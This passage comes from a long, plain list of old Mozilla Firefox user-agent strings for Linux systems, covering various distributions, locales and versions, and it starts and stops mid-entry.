en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Firefox/3.07 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/7 (Gloria) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042812 Gentoo Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060310 Linux Mint/6 (Felicia) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070610 Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070812 Linux Mint/5 (Elyssa) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090905 Fedora/3.0.14-1.fc10 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Firefox/3.0.14 (Debian-3.0.14-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/20090916 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17) Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/3.0.17 FirePHP/0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010091807 Firefox/3.0.6 (Debian-3.0.6-3) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1pre) Gecko/2008062222 Firefox/3.0.1pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/1.4.0 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008110715 ASPLinux/3.0.2-3.0.120asp Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008090713 Firefox/3.0.3pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008101311 Firefox/3.0.4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121718 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121914 Ubuntu/8.04 (hardy) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2009011301 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020518 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020616 Gentoo Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022111 Gentoo Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022714 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Firefox/3.0.4 (Debian-3.0.6-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009041408 Red Hat/3.0.9-1.el5 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Linux Mint/6 (Felicia) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Slackware/13.0 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2pre) Gecko/20090729 Ubuntu/9.04 (jaunty) Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090912 Gentoo Firefox/3.5.3 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090919 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4) Gecko/20091028 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20100118 Gentoo Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100315 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3) Gecko/20090407 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 FirePHP/0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100128 Gentoo Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100312 Ubuntu/9.04 (jaunty) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100625 Gentoo Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.7) Gecko/20100726 CentOS/3.6-3.el5.centos Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100727 Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/3.0a1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008020513 Firefox/3.0b3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010415 Firefox/3.0b -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008020507 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021712 Firefox/3.0b4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021714 Firefox/3.0b4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060309 Linux Mint/5 (Elyssa) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.14) Gecko/2009090216 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.7) Gecko/20091222 SUSE/3.5.7-1.1.1 Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; eu; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.5) Gecko/2008123017 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.03 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009031218 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.10) Gecko/2009042718 CentOS/3.0.10-1.el5.centos Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc12 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc10 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.4) Gecko/2008111217 Red Hat Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092700 SUSE/3.0.3-2.2 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.4) Gecko/20081031100 SUSE/3.0.4-4.6 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-0.1 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121622 Slackware/2.6.27-PiP Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030422 Kubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc10 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b4) Gecko/2008030800 SUSE/2.9.94-4.2 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.1.2) Gecko/20090804 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.2a1pre) Gecko/20090405 Ubuntu/9.04 (jaunty) Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061812 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.3a5pre) Gecko/20100526 Firefox/3.7a5pre -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/2008080808 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/20080810020329 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1) Gecko/20090630 Fedora/3.5-1.fc11 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux ppc; en-GB; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7 -Mozilla/5.0 (X11; 